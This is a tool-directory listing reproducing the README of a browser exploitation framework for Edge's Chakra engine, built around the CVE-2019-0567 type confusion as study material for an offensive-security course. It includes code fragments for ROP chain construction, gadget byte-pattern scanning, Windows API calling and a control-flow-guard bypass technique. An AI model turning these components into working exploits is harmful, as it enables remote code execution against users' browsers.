Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
chakra-exploit-framework — Browser exploitation framework for Chakra (Edge). Written as part of OSEE preparation. Demo bug: CVE-2019-0567 | Kitploit
Tools/GitHubGitHub/ntdelta/chakra-exploit-framework
Penetration Testing FrameworksExploit FrameworksMemory ForensicsVulnerability AnalysisReverse EngineeringShellcodeLearning & EducationPayload DevelopmentBinary Exploitation
GitHubntdelta/chakra-exploit-framework

chakra-exploit-framework

Browser exploitation framework for Chakra (Edge). Written as part of OSEE preparation. Demo bug: CVE-2019-0567

151 year agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Chakra Exploitation Framework

This repository contains the Browser Exploitation Framework I wrote to prepare for my EXP-401 course. The framework targets the Chakra engine, which was part of Edge until its switch to v8 in 2019.

The demo vulnerability used in the framework is the CVE-2019-0567 Type Confusion.

Remote Code Execution

Features

To make this framework easy to use, I wrote some nice features which make implementing future sandbox escapes incredibly easy.

Abstracted Windows API calls

The framework allows Windows APIs to be called at a high level. It uses a GetProcAddress ROP Chain to resolve any API, and allows for up to four parameters.

root@kitploit:~
function getcomputername_example(winapi, memory_access, memory_manager) {
    // Allocate some space for our GetComputerNameA parameters
    let buffer_size = 0x100;
    let lpBuffer = memory_manager.malloc(buffer_size);
    let nSize = memory_manager.malloc(0x8);
    memory_access.write_dword(nSize, buffer_size);

    let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);

    memory_access.hexdump(lpBuffer, buffer_size);

    log("GetComputerNameA HRESULT: %p", hresult);
}

leafInterpreterFrame CFG Bypass

The CFG bypass I used was the leafInterpreterFrame technique. By walking a few objects, you are able to leak a stack address. From here, you can hunt a function pointer, overwrite it, and gain execution. Porting it to my version of Chakra was a little fiddly so I wrote a blog about it here.

A friend showed me a really nice technique to make returning to JavaScript land really easy. They wrap their CFG bypass in a [1].map() call, meaning they can continue execution in their parent function - it makes the code look much cleaner. You can see an example of that here

Custom memory allocator

Many Windows APIs require parameters and buffers to be aligned. Previously, I was calling Windows APIs by staging paramameters in the .data section - it was very painful. In the end, I wrote my own memory allocator that calls VirtualAlloc, in ROP, and then allows other objects to malloc memory from the buffer. The memory allocator will always return aligned buffers too!

ROP Class

The way rop chains are written is as follows:

root@kitploit:~
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);

rop.pop_rcx(0x4141414141414141);

rop.getChain().map((gadget) => {
    this.memory_access.write_pointer(rop_buffer, gadget);
    rop_buffer += 8;
});

The underlying ROP gadgets are implemented as little functions:

root@kitploit:~
pop_rcx(value) {
    this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
    this.add_gadget(value);
}

This way, we can do more complex chains of gadgets to perform a higher-level action such as pop r9. There was no nice gadget, so it's implemented as a combination of a few:

root@kitploit:~
pop_r9(value) {
    this.pop_rax(value);
    this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));

    // Add filler for rsp
    this.nop();
    this.nop();
    this.nop();
    this.nop();

    // Add filler for rbx
    this.nop();
}

ROP Pattern Scanner

To try to increase portability of the framework, there is also a ROP Pattern Scanner. It uses the read primitive to scan for a sequence of bytes that form the required chain.

There is also a global cache which dramatically improves the performance of the scanner.

root@kitploit:~
get_pattern(instruction) {
    let byte_patterns = {
        "mov_r9_rax": [0x4c, 0x8b, 0xc8],
        "add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
        "pop_rax": [0x58],
        "pop_rbx": [0x5b],
        "pop_rsp": [0x5c],
        "pop_r8": [0x41, 0x58],
        "pop_rdx": [0x5a],
        "pop_rcx": [0x59],
        "mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
        "add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
        "add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
        "mov_deref_rcx_rax": [0x48, 0x89, 0x01],
        "mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
        "mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
        "ret": [0xc3],
    };

    return byte_patterns[instruction];
}
Download Tool